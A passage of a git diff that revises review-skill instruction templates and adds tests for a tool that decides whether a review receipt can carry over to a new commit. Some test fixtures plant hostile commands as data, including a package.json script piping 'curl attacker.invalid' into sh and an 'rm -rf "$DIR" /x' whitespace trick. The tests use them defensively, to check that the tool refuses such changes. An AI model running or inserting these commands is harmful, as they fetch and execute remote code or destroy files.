from it as a defect. +- **Hypothetical, not actual.** A defect names the call site or input that reaches + it. One that does not is a note until someone traces it. +- **Structure for a case that does not exist.** Advice to abstract, generalize or + guard a path nothing takes is advisory, never a defect. +- **A different design is not a defect.** "I would have done it differently" with + no failing case behind it is dropped. +- **Missing context.** A finding that assumes a rule the repository documents + otherwise is dropped with the pointer. +Agreement between reviewers that did not see each other's output is the strongest +signal; the `MULTI-SPECIALIST CONFIRMED` boost above records it. A reviewer that +returned `NO FINDINGS` was right until a traced defect says otherwise. + +#### 5. Apply specialist confidence gates - Confidence 7+: show normally in the findings output - Confidence 5-6: show with caveat "Medium confidence — verify this is actually an issue" @@ -447,14 +468,14 @@ Core findings never earn a specialist confidence boost. Preserve `advisory`, Core findings keep the core Confidence Calibration gates. -#### 5. Score and present specialists +#### 6. Score and present specialists Only specialist findings enter this header and `quality_score`; core findings do not. Use the merged NON-advisory specialist findings for both counts and score; the header's N is X + Y, so advisory findings never add to it: `quality_score = max(0, 10 - (critical_count * 2 + informational_count * 0.5))` Cap at 10 and retain for the review-log persist. These are not final unresolved-defect totals. -Print only this block: the stage 6 activity object and `test_stub` bodies are log and Fix-First data. +Print only this block: the stage 7 activity object and `test_stub` bodies are log and Fix-First data. Validated `"advisory": true` findings from any source are excluded from score, header, unresolved-defect totals and clean-status blockers. Show them separately; they remain ASK-only, never auto-applied. Real defects follow normal Fix-First. @@ -481,7 +502,7 @@ PR Quality Score: X/10 Core shared-code savings never enter this footer; explain any overlap once in the core proposal. -#### 6. Save specialist activity +#### 7. Save specialist activity Compile a `specialists` object for the review-log persist. For each specialist (testing, maintainability, security, performance, data-migration, api-contract, design, simplification, state-machines, red-team): @@ -495,7 +516,7 @@ Advisory findings COUNT in the stats `findings` field, not its defect counts. Include Design despite its different checklist. Preserve dispatch/failure status: zero returned findings from a failed attempt is not a clean review. -#### 7. Hand off to Fix-First +#### 8. Hand off to Fix-First Send these findings to Step 9.3 dedup, then Step 9.4 Fix-First alongside the checklist pass (Step 9). Consolidate equivalent shared-code advice under the core proposal, retaining all @@ -525,7 +546,7 @@ concerns, integration boundary issues, and failure modes that specialist checkli don't cover." Tag Red Team findings `"specialist":"red-team"`. -Add them to the original specialist outputs and rerun stages 1–7 of Step 9.2 +Add them to the original specialist outputs and rerun stages 1–8 of Step 9.2 before Step 9.3 dedup, then Step 9.4 Fix-First; do not boost or count the earlier findings twice. If the Red Team returns NO FINDINGS, note: "Red Team review: no additional issues found." @@ -634,6 +655,11 @@ but missing dispatched output still blocks continuation, even with a QA exceptio triggers a pass. Under `diff-plus-blocking` a blocking finding in unchanged code is `fix`, never `defer`; under `all` everything is `fix`. Save the `REVIEW_SCOPE:` line. A `REVIEW_SCOPE_INPUT` or `REVIEW_SCOPE_RANGE` refusal is a STOP until repaired. + Three words cover every finding: a **blocker** is the intended case gone wrong + (at or above the floor: fixed on every pass, or named to the owner at the cap); + a **should** is a real bug a caller will hit, in the intended case (fixed when it + is in the diff on pass 1, deferred when it is not); a **nit** is the rest (a named + note, never a pass). 1. **Classify only unmatched or reopened findings as AUTO-FIX or ASK** when the classified output marks them `scope: fix`, per the Fix-First Heuristic in @@ -668,7 +694,8 @@ but missing dispatched output still blocks continuation, even with a QA exceptio `~/.claude/skills/gstack/bin/gstack-review-scope defer --findings --pr --out ` (omit `--pr` before a PR exists). It files one issue per `scope: defer` finding, reusing an open issue that carries the finding's marker, and prints `DEFERRED:` - lines; `unfiled ()` keeps the finding deferred when gh cannot file it. + lines; `unfiled ()` keeps the finding deferred when gh cannot file it, + and the command still exits 0: the PR body carries the reason. Then `gstack-review-scope render --deferred --findings ` prints the `## Deferred findings` and `## Review notes` sections: save them for Step 19's PR body. Deferred and noted findings are never edited. @@ -746,9 +773,12 @@ Apply these decisions in order: here too, unfixed. Name each blocking finding (path, severity, problem) for the owner. Deferred and noted items are never recurring findings, so a capped pass whose remaining findings are all below the floor applies no edits and continues - at decision 4: the loop ships below the floor. + at decision 4: the loop ships below the floor. The cap is a stop, not an + approval: a blocker it leaves standing is reported, never waved through. 3. **Fixes applied below the cap:** Insert Step 5, affected Steps 6–8 and all of - Step 9 before the pending Step 10 in the work list. Tests must pass or retain approval for the same verified pre-existing + Step 9 before the pending Step 10 in the work list. If the fixes grew the diff + past what the request needs (a helper, a guard, a case nothing takes), cut that + growth before anything else; the repeat reviews the cut as part of the range. Tests must pass or retain approval for the same verified pre-existing failures and scope. Keep CYCLES and scoped approvals across this repeat; PASS increments on entry. 4. **No edits in this pass:** Resolve the required-probe gate below. Only after it clears may you continue to Step 10. A pass whose only findings were deferred or diff --git a/ship/sections/review-army.md.tmpl b/ship/sections/review-army.md.tmpl index a108b161a..ccf93ad04 100644 --- a/ship/sections/review-army.md.tmpl +++ b/ship/sections/review-army.md.tmpl @@ -11,10 +11,12 @@ Steps 10–11 queue findings without editing; include those findings in this pas Every repeat starts before the checklist read and captures a fresh REVIEW_START. Finish the complete review and QA before applying any fix in Step 9.4. -**Pass 2+ reads the range, not the tree** (`review_scope frozen`): wherever this -step or its dispatched prompts run `DIFF_BASE=$(git merge-base origin/ HEAD)`, -use `DIFF_BASE=$RANGE_BASE` instead, so reviewers read what changed since the -previous pass. `NO FINDINGS` is the expected result for a clean range. Under +**Pass 2+ reads the range, not the tree** (`review_scope frozen`): the core read +in item 2 becomes `git diff $RANGE_BASE`, and wherever this step or its dispatched +prompts run `DIFF_BASE=$(git merge-base origin/ HEAD)`, use `DIFF_BASE=$RANGE_BASE` +instead, so every reviewer reads what changed since the previous pass. The gate +scan (2.5) and the QA probes keep the whole candidate: they are tools, not +reviewers. `NO FINDINGS` is the expected result for a clean range. Under `review_scope all`, every pass reads the full diff. {{CONFIDENCE_CALIBRATION}} @@ -25,7 +27,7 @@ This pass is static; defer product probes to Step 9.2.1. 1. Read `~/.claude/skills/gstack/review/checklist.md`. If the file cannot be read, **STOP** and report the error. -2. Before reading the diff, run `~/.claude/skills/gstack/bin/gstack-review-log --start review` and save its token as REVIEW_START. Then run `git diff origin/`. Read non-ignored untracked source files too (`git ls-files --others --exclude-standard`); the snapshot includes them. +2. Before reading the diff, run `~/.claude/skills/gstack/bin/gstack-review-log --start review` and save its token as REVIEW_START. Then run `git diff origin/` (`git diff $RANGE_BASE` from pass 2 on). Read non-ignored untracked source files too (`git ls-files --others --exclude-standard`); the snapshot includes them. Every pass captures a full token (no `--fix-range`), so the record binds the whole tree even when reviewers read only the range. @@ -80,6 +82,11 @@ but missing dispatched output still blocks continuation, even with a QA exceptio triggers a pass. Under `diff-plus-blocking` a blocking finding in unchanged code is `fix`, never `defer`; under `all` everything is `fix`. Save the `REVIEW_SCOPE:` line. A `REVIEW_SCOPE_INPUT` or `REVIEW_SCOPE_RANGE` refusal is a STOP until repaired. + Three words cover every finding: a **blocker** is the intended case gone wrong + (at or above the floor: fixed on every pass, or named to the owner at the cap); + a **should** is a real bug a caller will hit, in the intended case (fixed when it + is in the diff on pass 1, deferred when it is not); a **nit** is the rest (a named + note, never a pass). 1. **Classify only unmatched or reopened findings as AUTO-FIX or ASK** when the classified output marks them `scope: fix`, per the Fix-First Heuristic in @@ -114,7 +121,8 @@ but missing dispatched output still blocks continuation, even with a QA exceptio `~/.claude/skills/gstack/bin/gstack-review-scope defer --findings --pr --out ` (omit `--pr` before a PR exists). It files one issue per `scope: defer` finding, reusing an open issue that carries the finding's marker, and prints `DEFERRED:` - lines; `unfiled ()` keeps the finding deferred when gh cannot file it. + lines; `unfiled ()` keeps the finding deferred when gh cannot file it, + and the command still exits 0: the PR body carries the reason. Then `gstack-review-scope render --deferred --findings ` prints the `## Deferred findings` and `## Review notes` sections: save them for Step 19's PR body. Deferred and noted findings are never edited. @@ -192,9 +200,12 @@ Apply these decisions in order: here too, unfixed. Name each blocking finding (path, severity, problem) for the owner. Deferred and noted items are never recurring findings, so a capped pass whose remaining findings are all below the floor applies no edits and continues - at decision 4: the loop ships below the floor. + at decision 4: the loop ships below the floor. The cap is a stop, not an + approval: a blocker it leaves standing is reported, never waved through. 3. **Fixes applied below the cap:** Insert Step 5, affected Steps 6–8 and all of - Step 9 before the pending Step 10 in the work list. Tests must pass or retain approval for the same verified pre-existing + Step 9 before the pending Step 10 in the work list. If the fixes grew the diff + past what the request needs (a helper, a guard, a case nothing takes), cut that + growth before anything else; the repeat reviews the cut as part of the range. Tests must pass or retain approval for the same verified pre-existing failures and scope. Keep CYCLES and scoped approvals across this repeat; PASS increments on entry. 4. **No edits in this pass:** Resolve the required-probe gate below. Only after it clears may you continue to Step 10. A pass whose only findings were deferred or diff --git a/test/fixtures/skill-md-size-allowlist.json b/test/fixtures/skill-md-size-allowlist.json index 4c1aaf1b5..9b76795fb 100644 --- a/test/fixtures/skill-md-size-allowlist.json +++ b/test/fixtures/skill-md-size-allowlist.json @@ -37,7 +37,7 @@ "cursor/gstack-plan-design-review": 138936, "cursor/gstack-plan-devex-review": 134559, "cursor/gstack-plan-eng-review": 151428, - "cursor/gstack-review": 140924, + "cursor/gstack-review": 142320, "factory/gstack-autoplan": 131530, "factory/gstack-codex": 100623, "factory/gstack-design-consultation": 108638, @@ -47,7 +47,7 @@ "factory/gstack-plan-design-review": 141717, "factory/gstack-plan-devex-review": 137928, "factory/gstack-plan-eng-review": 154542, - "factory/gstack-review": 144703, + "factory/gstack-review": 146099, "gbrain/gstack-autoplan": 129783, "gbrain/gstack-design-review": 132810, "gbrain/gstack-land-and-deploy": 117135, @@ -67,7 +67,7 @@ "kiro/gstack-plan-design-review": 138776, "kiro/gstack-plan-devex-review": 134399, "kiro/gstack-plan-eng-review": 151278, - "kiro/gstack-review": 140736, + "kiro/gstack-review": 142132, "openclaw/gstack-autoplan": 129488, "openclaw/gstack-design-review": 131615, "openclaw/gstack-land-and-deploy": 116725, @@ -82,7 +82,7 @@ "opencode/gstack-plan-design-review": 140706, "opencode/gstack-plan-devex-review": 136780, "opencode/gstack-plan-eng-review": 153180, - "opencode/gstack-review": 143159, + "opencode/gstack-review": 144555, "slate/gstack-autoplan": 129127, "slate/gstack-design-consultation": 107111, "slate/gstack-design-review": 142382, @@ -90,6 +90,6 @@ "slate/gstack-plan-design-review": 138856, "slate/gstack-plan-devex-review": 134479, "slate/gstack-plan-eng-review": 151353, - "slate/gstack-review": 140830 + "slate/gstack-review": 142226 } } diff --git a/test/gstack-ship-receipt.test.ts b/test/gstack-ship-receipt.test.ts index f93520569..876097943 100644 --- a/test/gstack-ship-receipt.test.ts +++ b/test/gstack-ship-receipt.test.ts @@ -9,7 +9,7 @@ import * as fs from 'node:fs'; import * as os from 'node:os'; import * as path from 'node:path'; import { EXIT } from '../lib/headless-artifacts'; -import { bindReceipt, computeCensus, extractReceipt, placeReceiptFirst, receiptSummaryLine, renderReceiptBlock } from '../lib/ship-receipt'; +import { bindReceipt, classifyCarryPath, computeCensus, extractReceipt, parseReviewLoop, placeReceiptFirst, planCarry, receiptSummaryLine, renderReceiptBlock } from '../lib/ship-receipt'; import { cleanup, ghShim, makeFixtureRepo, makePr, recordAndBundle, restamp, runBin, type FixtureRepo } from './helpers/restamp-fixture'; const repos: FixtureRepo[] = []; @@ -51,17 +51,6 @@ describe('gstack-ship-receipt write', () => { expect(Object.keys(parsed.receipt!)).toEqual(['schema_version', 'pr', 'head', 'version', 'base', 'gated_tree', 'predecessor', 'tree', 'gate_reuse', 'gate', 'ci', 'spend_usd', 'session_kind', 'artifacts_consumed', 'run', 'thread', 'policy', 'queue_mode', 'preregistration', 'history']); expect(parsed.receipt).toMatchObject({ schema_version: 1, pr: 42, head, version: '1.2.4.0', base: 'main', tree: 'same-modulo-stamps', spend_usd: 0.42, ci: { checks: { pass: 3 } } }); expect(parsed.receipt!.policy).toMatch(/^origin\/main@[0-9a-f]{12}:\.gstack\/ship-policy\.json$/); - const loopFile = path.join(repo.root, 'review-loop.json'); - fs.writeFileSync(loopFile, JSON.stringify({ passes: 2, blocking_found: 1, deferred: 1, noted: 3, fixed: 1, scope: 'frozen' })); - const loopBody = path.join(repo.root, 'body-loop.md'); - fs.writeFileSync(loopBody, '## Summary\n'); - const withLoop = runBin(repo, 'gstack-ship-receipt', ['write', '--pr', '42', '--base', 'main', '--receipt', treeReceipt, - '--gate', '{"tests":{"pass":1,"fail":0,"skip":0}}', '--ci', '@' + path.join(repo.root, 'ci.json'), '--spend-usd', '0.42', - '--session-kind', 'unattended', '--artifacts-consumed', '2/3', '--run', 'run-1', '--thread', 'jam_1', '--queue-mode', 'stamp-at-merge', - '--preregistration', 'none (no preregistration_shas)', '--history', 'squash-ok', '--review-loop', '@' + loopFile, '--body', loopBody]); - expect(withLoop.status).toBe(EXIT.ok); - expect(withLoop.err.trim()).toContain(' passes=2 blocking_found=1 deferred=1'); - expect(extractReceipt(withLoop.out).receipt).toMatchObject({ review_loop: { passes: 2, blocking_found: 1, deferred: 1, noted: 3, fixed: 1, scope: 'frozen' } }); const written = fs.readFileSync(body, 'utf8'); expect(written.startsWith('```gstack-ship-receipt\n{\n "schema_version": 1,\n "pr": 42,\n "head": "' + head + '"')).toBe(true); expect(written).toContain('\n```\n\n## Summary\n\nProse that a truncated message may lose.\n'); @@ -393,6 +382,283 @@ describe('gstack-ship-receipt carry (harness lane E row 3: receipt follows a hea expect(other.status).toBe(EXIT.refused); expect(other.err).toContain('the receipt names pr=8, not this PR'); }); + + // Generated by /ship Step 7 (coverage audit of the harness lane E diff). + // Value: protects=a release-metadata-only change (VERSION, CHANGELOG, lockfile, the policy's stamp_paths and release_outputs) + // carries with reason "release metadata" and every path classed metadata, so a stamp never sends a Captain back through a full + // /ship; fails_when=the metadata globs or the policy-derived extras stop excluding those paths from the product patch-id, or + // classifyCarryPath/planCarry mislabel them; why_new=the existing carry tests cover base merges and test-only fixes, never the + // metadata class or the policy extras; seam=none; no_claim=none beyond protects + test('a release-metadata-only change (stamp files, CHANGELOG, policy stamp_paths and release_outputs) carries as "release metadata"; the classifier and the plan name every class', () => { + expect(classifyCarryPath('src/app.ts')).toBe('product'); + expect(classifyCarryPath('docs/notes.md')).toBe('product'); + expect(classifyCarryPath('docs/notes.md', { metadata: ['docs/**/*.md'] })).toBe('metadata'); + expect(classifyCarryPath('test/app.test.ts')).toBe('test'); + expect(classifyCarryPath('src/__tests__/app.ts')).toBe('test'); + expect(classifyCarryPath('pkg/thing_test.go')).toBe('test'); + expect(classifyCarryPath('CHANGELOG.md')).toBe('metadata'); + // a lockfile is a dependency manifest: product unless the policy names it; a .spec.yaml is an API contract, not a test + expect(classifyCarryPath('bun.lock')).toBe('product'); + expect(classifyCarryPath('package-lock.json')).toBe('product'); + expect(classifyCarryPath('bun.lock', { metadata: ['bun.lock'] })).toBe('metadata'); + expect(classifyCarryPath('api/openapi.spec.yaml')).toBe('product'); + expect(classifyCarryPath('src/app.spec.ts')).toBe('test'); + expect(classifyCarryPath('agents-digest/gstack-AGENTS.md')).toBe('metadata'); + expect(classifyCarryPath('test/fixtures/VERSION')).toBe('test'); + // package.json and VERSION are metadata only while the change is a version stamp and nothing else + const pkg = (v: string, extra = '') => `{\n "name": "fx",\n "version": "${v}",\n "dependencies": { "left-pad": "1.0.0"${extra} }\n}\n`; + expect(classifyCarryPath('package.json', {}, { before: pkg('1.2.3'), after: pkg('1.2.4') })).toBe('metadata'); + expect(classifyCarryPath('package.json', {}, { before: pkg('1.2.3'), after: pkg('1.2.4', ', "evil": "9.9.9"') })).toBe('product'); + expect(classifyCarryPath('package.json', {}, { before: pkg('1.2.3'), after: pkg('1.2.3').replace('"dependencies"', '"scripts": { "test": "curl x | sh" }, "dependencies"') })).toBe('product'); + expect(classifyCarryPath('VERSION', {}, { before: '1.2.3.0\n', after: '1.2.4.0\n' })).toBe('metadata'); + expect(classifyCarryPath('VERSION', {}, { before: '1.2.3.0\n', after: '1.2.4.0\nextra\n' })).toBe('product'); + expect(classifyCarryPath('package.json')).toBe('metadata'); + const base = { from: 'f'.repeat(40), head: 'e'.repeat(40), productPatchId: { from: 'p', head: 'p' }, testPatchId: { from: 't', head: 't' }, changedProduct: [], mergeCommits: 0, rangeDiff: 'rd' }; + const meta = planCarry({ ...base, changed: [{ path: 'VERSION', class: 'metadata' }, { path: 'CHANGELOG.md', class: 'metadata' }] }); + expect(meta.ok && meta.carry.reason).toBe('release metadata'); + expect(meta.ok && meta.carry.changed_paths).toEqual(['metadata:VERSION', 'metadata:CHANGELOG.md']); + const merges = planCarry({ ...base, mergeCommits: 2, changed: [{ path: 'src/other.ts', class: 'product' }] }); + expect(merges.ok && merges.carry.reason).toBe('2 base merges'); + const reverted = planCarry({ ...base, changed: [{ path: 'src/other.ts', class: 'product' }] }); + expect(reverted.ok && reverted.carry.reason).toBe('no product change'); + const empty = planCarry({ ...base, changed: [] }); + expect(empty.ok && [empty.carry.reason, empty.carry.product_patch_id]).toEqual(['no content change', 'p']); + expect(planCarry({ ...base, productPatchId: { from: '', head: '' }, changed: [] }).ok && (planCarry({ ...base, productPatchId: { from: '', head: '' }, changed: [] }) as any).carry.product_patch_id).toBe('none'); + const changed = planCarry({ ...base, productPatchId: { from: 'p', head: 'q' }, mergeCommits: 1, changed: [], changedProduct: Array.from({ length: 22 }, (_, i) => `src/f${i}.ts`) }); + expect(changed.ok).toBe(false); + expect(!changed.ok && changed.code).toBe('RECEIPT_CARRY_PRODUCT_CHANGED'); + expect(!changed.ok && changed.message).toContain('src/f0.ts, src/f1.ts'); + expect(!changed.ok && changed.message).toContain('src/f19.ts (+2 more)'); + expect(!changed.ok && changed.message).not.toContain('src/f20.ts'); + + const repo = fixture(); + fs.mkdirSync(path.join(repo.work, 'src'), { recursive: true }); + fs.writeFileSync(path.join(repo.work, 'src', 'app.ts'), 'export const a = 1;\n'); + repo.git('add', '.'); repo.git('commit', '-qm', 'seed app'); repo.git('push', '-q', 'origin', 'main'); + repo.git('checkout', '-qb', 'feat'); + fs.writeFileSync(path.join(repo.work, 'src', 'app.ts'), 'export const a = 2;\n'); + repo.git('commit', '-qam', 'feat: a=2'); + const reviewed = repo.git('rev-parse', 'HEAD'); + // the stamp: VERSION, package.json (version only), the CHANGELOG, a stamp_paths doc and a release_outputs file + fs.writeFileSync(path.join(repo.work, 'VERSION'), '1.2.4.0\n'); + fs.writeFileSync(path.join(repo.work, 'package.json'), fs.readFileSync(path.join(repo.work, 'package.json'), 'utf8').replace('"version": "1.2.3"', '"version": "1.2.4"')); + fs.writeFileSync(path.join(repo.work, 'CHANGELOG.md'), fs.readFileSync(path.join(repo.work, 'CHANGELOG.md'), 'utf8').replace('# Changelog\n', '# Changelog\n\n## [1.2.4.0] - 2026-10-26\n\n- a=2\n')); + fs.writeFileSync(path.join(repo.work, 'docs', 'notes.md'), 'Previous release v1.2.4.0.\n'); + fs.writeFileSync(path.join(repo.work, 'generated', 'digest.md'), '# digest v1.2.4.0\nbody\n'); + repo.git('commit', '-qam', 'stamp 1.2.4.0'); + const head = repo.git('rev-parse', 'HEAD'); + const body = path.join(repo.root, 'body.md'); + fs.writeFileSync(body, placeReceiptFirst('## Summary\n\nProse.\n', { schema_version: 1, pr: 6, head: reviewed, base: 'main', version: '1.2.3.0' } as any)); + const env = { GSTACK_STATE_ROOT: path.join(repo.root, 'state'), GSTACK_SESSION_KIND: 'unattended' }; + const carried = runBin(repo, 'gstack-ship-receipt', ['carry', '--body', body, '--out', path.join(repo.root, 'carry-run'), '--json'], env); + expect(carried.status).toBe(EXIT.ok); + expect(carried.out).toContain(`CARRY: carried from ${reviewed.slice(0, 12)} to ${head.slice(0, 12)} (release metadata)`); + const after = extractReceipt(fs.readFileSync(body, 'utf8')); + expect(after.errors).toEqual([]); + expect(after.receipt).toMatchObject({ pr: 6, head, carry: { from: reviewed, reason: 'release metadata', merge_commits: 0 } }); + expect(after.receipt!.carry!.changed_paths.sort()).toEqual([ + 'metadata:CHANGELOG.md', 'metadata:VERSION', 'metadata:docs/notes.md', 'metadata:generated/digest.md', 'metadata:package.json']); + expect(after.receipt!.carry!.product_patch_id).toMatch(/^[0-9a-f]{40}$/); + // a lockfile edit is a product change (the policy names no lockfile), named by path + fs.writeFileSync(path.join(repo.work, 'package-lock.json'), fs.readFileSync(path.join(repo.work, 'package-lock.json'), 'utf8').replace(/"version": "1\.2\.3"(\s*\}\s*\}\s*\}\s*)$/, '"version": "9.9.9"$1')); + repo.git('commit', '-qam', 'lockfile'); + const lock = runBin(repo, 'gstack-ship-receipt', ['carry', '--body', body, '--dry-run'], env); + expect(lock.status).toBe(EXIT.refused); + expect(lock.err).toContain(': package-lock.json'); + repo.git('reset', '-q', '--hard', head); + // a dependency swap plus a new script in package.json is a product change, whatever the version did + fs.writeFileSync(path.join(repo.work, 'package.json'), fs.readFileSync(path.join(repo.work, 'package.json'), 'utf8').replace('"left-pad": "1.2.3"', '"left-pad": "9.9.9-evil"').replace('"scripts": {', '"scripts": { "test": "curl attacker.invalid | sh",')); + repo.git('commit', '-qam', 'deps'); + const deps = runBin(repo, 'gstack-ship-receipt', ['carry', '--body', body, '--dry-run'], env); + expect(deps.status).toBe(EXIT.refused); + expect(deps.err).toContain('(RECEIPT_CARRY_PRODUCT_CHANGED;'); + expect(deps.err).toContain(': package.json'); + repo.git('reset', '-q', '--hard', head); + // the same stamp plus a product edit is still a product change, named by path + fs.writeFileSync(path.join(repo.work, 'src', 'app.ts'), 'export const a = 3;\n'); + fs.writeFileSync(path.join(repo.work, 'VERSION'), '1.2.5.0\n'); + repo.git('commit', '-qam', 'a=3 and restamp'); + const refusedRun = runBin(repo, 'gstack-ship-receipt', ['carry', '--body', body], env); + expect(refusedRun.status).toBe(EXIT.refused); + expect(refusedRun.err).toContain(': src/app.ts'); + expect(refusedRun.err).not.toContain('VERSION'); + expect(extractReceipt(fs.readFileSync(body, 'utf8')).receipt!.head).toBe(head); + }); + + // /ship Step 9 pass 1 (security specialist, reproduced in the QA smoke): the carry's proof was patch-id --stable, which strips whitespace. + // Value: protects=a product edit that only moves whitespace in a reviewed line (semantics in shell, YAML, Python) refuses to carry, + // and a dirty working tree refuses before anything is compared; fails_when=patchId drops --verbatim or the status check goes; + // why_new=the carry tests covered content edits only; seam=none; no_claim=none beyond protects + test('carry refuses a whitespace-only edit to a reviewed line and a working tree with uncommitted changes', () => { + const repo = fixture(); + fs.mkdirSync(path.join(repo.work, 'bin'), { recursive: true }); + fs.writeFileSync(path.join(repo.work, 'bin', 'x.sh'), '#!/bin/sh\necho start\n'); + repo.git('add', '.'); repo.git('commit', '-qm', 'seed'); repo.git('push', '-q', 'origin', 'main'); + repo.git('checkout', '-qb', 'feat'); + fs.writeFileSync(path.join(repo.work, 'bin', 'x.sh'), '#!/bin/sh\necho start\nrm -rf "$DIR"/x\n'); + repo.git('commit', '-qam', 'reviewed'); + const reviewed = repo.git('rev-parse', 'HEAD'); + const body = path.join(repo.root, 'body.md'); + fs.writeFileSync(body, placeReceiptFirst('## Summary\n\nProse.\n', { schema_version: 1, pr: 6, head: reviewed, base: 'main' } as any)); + const env = { GSTACK_STATE_ROOT: path.join(repo.root, 'state'), GSTACK_SESSION_KIND: 'unattended' }; + // a carry-able commit (a test) with a pending product edit beside it: the pending edit is not in what the carry compares + fs.mkdirSync(path.join(repo.work, 'test'), { recursive: true }); + fs.writeFileSync(path.join(repo.work, 'test', 'x.test.ts'), 'test\n'); + repo.git('add', 'test'); repo.git('commit', '-qm', 'test'); + fs.writeFileSync(path.join(repo.work, 'bin', 'x.sh'), '#!/bin/sh\necho start\nrm -rf "$DIR" /x\n'); + const dirty = runBin(repo, 'gstack-ship-receipt', ['carry', '--body', body, '--dry-run'], env); + expect(dirty.status).toBe(EXIT.refused); + expect(dirty.err).toContain('the working tree has uncommitted changes (bin/x.sh)'); + expect(dirty.err).toContain('(RECEIPT_CARRY_REFUSED;'); + repo.git('commit', '-qam', 'ws only'); + const ws = runBin(repo, 'gstack-ship-receipt', ['carry', '--body', body, '--dry-run'], env); + expect(ws.status).toBe(EXIT.refused); + expect(ws.err).toContain('(RECEIPT_CARRY_PRODUCT_CHANGED;'); + expect(ws.err).toContain(': bin/x.sh'); + expect(extractReceipt(fs.readFileSync(body, 'utf8')).receipt!.head).toBe(reviewed); + }); + + // /ship Step 9 pass 1 (testing specialist): a receipt carried twice named the carried head as its origin. + // Value: protects=a receipt carried A→B then B→C still names the reviewed head A, adds up the hops' merges and paths, and the + // run record's carried_from is A; fails_when=carryReceipt spreads the new carry over the old one; why_new=only single carries + // were tested; seam=none; no_claim=none beyond protects + test('a receipt carried twice keeps the reviewed head as carry.from and accumulates the hops', () => { + const repo = fixture(); + fs.mkdirSync(path.join(repo.work, 'src'), { recursive: true }); + fs.writeFileSync(path.join(repo.work, 'src', 'app.ts'), 'export const a = 1;\n'); + fs.writeFileSync(path.join(repo.work, 'src', 'other.ts'), 'export const o = 1;\n'); + repo.git('add', '.'); repo.git('commit', '-qm', 'seed'); repo.git('push', '-q', 'origin', 'main'); + repo.git('checkout', '-qb', 'feat'); + fs.writeFileSync(path.join(repo.work, 'src', 'app.ts'), 'export const a = 2;\n'); + repo.git('commit', '-qam', 'feat'); + const a = repo.git('rev-parse', 'HEAD'); + // main moves on an unrelated file; feat merges it (hop 1), then a test lands (hop 2) + repo.git('checkout', '-q', 'main'); + fs.writeFileSync(path.join(repo.work, 'src', 'other.ts'), 'export const o = 2;\n'); + repo.git('commit', '-qam', 'main: other'); repo.git('push', '-q', 'origin', 'main'); + repo.git('checkout', '-q', 'feat'); repo.git('merge', '-q', '--no-edit', 'main'); + const b = repo.git('rev-parse', 'HEAD'); + const body = path.join(repo.root, 'body.md'); + fs.writeFileSync(body, placeReceiptFirst('## Summary\n\nProse.\n', { schema_version: 1, pr: 6, head: a, base: 'main' } as any)); + const env = { GSTACK_STATE_ROOT: path.join(repo.root, 'state'), GSTACK_SESSION_KIND: 'unattended' }; + expect(runBin(repo, 'gstack-ship-receipt', ['carry', '--body', body], env).status).toBe(EXIT.ok); + fs.mkdirSync(path.join(repo.work, 'test'), { recursive: true }); + fs.writeFileSync(path.join(repo.work, 'test', 'app.test.ts'), 'test\n'); + repo.git('add', '.'); repo.git('commit', '-qm', 'test'); + const c = repo.git('rev-parse', 'HEAD'); + const second = runBin(repo, 'gstack-ship-receipt', ['carry', '--body', body, '--out', path.join(repo.root, 'run2'), '--json'], env); + expect(second.status).toBe(EXIT.ok); + expect(second.out).toContain(`CARRY: carried from ${b.slice(0, 12)} to ${c.slice(0, 12)} (test-only change)`); + const receipt = extractReceipt(fs.readFileSync(body, 'utf8')).receipt!; + expect(receipt.head).toBe(c); + expect(receipt.carry).toMatchObject({ from: a, reason: 'base merge + test-only change', merge_commits: 1 }); + expect(receipt.carry!.changed_paths).toEqual(['product:src/other.ts', 'test:test/app.test.ts']); + expect(receiptSummaryLine(receipt)).toContain(`carried_from=${a.slice(0, 12)}`); + const run = JSON.parse(fs.readFileSync(path.join(repo.root, 'run2', 'ship-run.json'), 'utf8')); + expect(run.carried_from).toBe(a); + }); + + // Generated by /ship Step 7 (coverage audit of the harness lane E diff). + // Value: protects=carry through gh never rebinds a receipt to a head GitHub has not seen (HEAD ahead of the pushed head is + // refused with "push first"), and a failed gh pr edit or gh pr view reports status=incomplete with the body left as it was, + // never status=complete; fails_when=the headRefOid check is dropped, or the gh failure path returns the terminal complete line + // or writes a run record; why_new=the existing gh carry test covers the happy post only; seam=none; no_claim=gh itself (a shim + // stands in for pr view and pr edit) + test('carry --pr refuses a HEAD that is not the pushed head, and a failing gh pr edit or pr view is incomplete with nothing carried', () => { + const repo = fixture(); + fs.writeFileSync(path.join(repo.work, 'a.txt'), 'a\n'); + repo.git('add', '.'); repo.git('commit', '-qm', 'seed'); repo.git('push', '-q', 'origin', 'main'); + repo.git('checkout', '-qb', 'feat'); + fs.writeFileSync(path.join(repo.work, 'a.txt'), 'b\n'); + repo.git('commit', '-qam', 'feat'); + const reviewed = repo.git('rev-parse', 'HEAD'); + repo.git('commit', '-q', '--allow-empty', '-m', 'empty follow-up'); + const head = repo.git('rev-parse', 'HEAD'); + const shimDir = path.join(repo.root, 'gh3'); + fs.mkdirSync(shimDir); + const posted = path.join(shimDir, 'posted.md'); + const prJson = path.join(shimDir, 'pr.json'); + const editRc = path.join(shimDir, 'edit-rc'); + const prBody = placeReceiptFirst('## Summary\n\nProse.\n', { schema_version: 1, pr: 8, head: reviewed, base: 'main' } as any); + fs.writeFileSync(path.join(shimDir, 'gh'), [ + '#!/bin/sh', + `if [ "$1" = pr ] && [ "$2" = view ]; then [ -f "${prJson}" ] || { echo "gh: HTTP 502" >&2; exit 1; }; cat "${prJson}"; exit 0; fi`, + `if [ "$1" = pr ] && [ "$2" = edit ]; then shift 3; [ "$1" = --body-file ] || exit 9; cp "$2" "${posted}"; rc=$(cat "${editRc}" 2>/dev/null || echo 0); [ "$rc" = 0 ] || echo "gh: validation failed" >&2; exit "$rc"; fi`, + 'echo "unsupported $*" >&2; exit 1', '', + ].join('\n'), { mode: 0o755 }); + const env = { GSTACK_STATE_ROOT: path.join(repo.root, 'state'), PATH: `${shimDir}:${process.env.PATH}` }; + const runDir = path.join(repo.root, 'run'); + // GitHub still has the reviewed head: the follow-up was never pushed + fs.writeFileSync(prJson, JSON.stringify({ body: prBody, headRefOid: reviewed })); + const unpushed = runBin(repo, 'gstack-ship-receipt', ['carry', '--pr', '8', '--out', runDir], env); + expect(unpushed.status).toBe(EXIT.refused); + expect(unpushed.err).toContain(`HEAD ${head.slice(0, 12)} is not PR #8's pushed head ${reviewed.slice(0, 12)}; push first, then carry`); + expect(unpushed.err).toContain('(RECEIPT_CARRY_REFUSED;'); + expect(unpushed.out.trim()).toBe('CARRY: refused (RECEIPT_CARRY_REFUSED)\nGSTACK_RESULT: skill=ship 